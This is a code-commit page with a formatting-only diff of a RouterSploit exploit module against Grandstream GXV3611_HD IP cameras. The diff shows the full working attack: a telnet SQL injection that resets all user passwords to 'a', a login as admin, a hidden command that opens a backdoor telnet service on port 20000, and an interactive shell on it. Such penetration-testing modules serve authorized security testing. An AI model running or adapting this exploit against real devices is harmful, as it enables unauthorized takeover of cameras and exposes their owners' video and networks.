Commit 233ef4ce by Joshua Abraham

Fixed PEP8

parent d90572c0
...@@ -3,36 +3,31 @@ import telnetlib ...@@ -3,36 +3,31 @@ import telnetlib
from routersploit import ( from routersploit import (
exploits, exploits,
mute, mute,
sanitize_url,
print_error, print_error,
print_success, print_success,
print_status,
print_table,
) )
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
"""
Simple description
"""
__info__ = { __info__ = {
'name': 'Grandsteam GXV3611_HD - SQL Injection', 'name': 'Grandsteam GXV3611_HD - SQL Injection',
'description': 'Module exploits an SQL injection vulnerability in Grandstream GXV3611_HD IP cameras. ' 'description': 'Module exploits an SQL injection vulnerability in Grandstream GXV3611_HD IP cameras. '
'After the SQLI is triggered, the module opens a backdoor on TCP/20000 and connects to it', 'After the SQLI is triggered, the module opens a backdoor on TCP/20000 and connects to it',
'authors': [ 'authors': [
'pizza1337', # exploit author 'pizza1337', # exploit author
'Joshua Abraham', # routesploit module 'Joshua Abraham', # routesploit module
], ],
'references': [ 'references': [
'https://www.exploit-db.com/exploits/40441/', 'https://www.exploit-db.com/exploits/40441/',
'http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html', 'http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html',
], ],
'devices': [ 'devices': [
'Grandstream GXV3611_HD', 'Grandstream GXV3611_HD',
], ],
} }
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address
port = exploits.Option(23, 'Target port') # default port port = exploits.Option(23, 'Target port') # default port
def run(self): def run(self):
if self.check(): if self.check():
...@@ -41,15 +36,15 @@ class Exploit(exploits.Exploit): ...@@ -41,15 +36,15 @@ class Exploit(exploits.Exploit):
try: try:
conn = telnetlib.Telnet(self.target, self.port) conn = telnetlib.Telnet(self.target, self.port)
conn.read_until("Username: ") conn.read_until("Username: ")
conn.write("';update user set password='a';--\r\n") #This changes all the passwords to 'a' conn.write("';update user set password='a';--\r\n") # This changes all the passwords to 'a'
conn.read_until("Password: ") conn.read_until("Password: ")
conn.write("nothing\r\n") conn.write("nothing\r\n")
conn.read_until("Username: ") conn.read_until("Username: ")
conn.write("admin\r\n") conn.write("admin\r\n")
conn.read_until("Password: ") conn.read_until("Password: ")
conn.write("a\r\n") #Login with the new password conn.write("a\r\n") # Login with the new password
conn.read_until("> ") conn.read_until("> ")
conn.write("!#/ port lol\r\n") #Backdoor command triggers telnet server to startup. conn.write("!#/ port lol\r\n") # Backdoor command triggers telnet server to startup.
conn.read_until("> ") conn.read_until("> ")
conn.write("quit\r\n") conn.write("quit\r\n")
conn.close() conn.close()
...@@ -68,7 +63,6 @@ class Exploit(exploits.Exploit): ...@@ -68,7 +63,6 @@ class Exploit(exploits.Exploit):
conn.interact() conn.interact()
except: except:
print_error("Failed to log into backdoor.") print_error("Failed to log into backdoor.")
else: else:
print_error("Exploit failed. Target does not appear vulnerable") print_error("Exploit failed. Target does not appear vulnerable")
...@@ -80,4 +74,3 @@ class Exploit(exploits.Exploit): ...@@ -80,4 +74,3 @@ class Exploit(exploits.Exploit):
return True return True
else: else:
return False return False
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment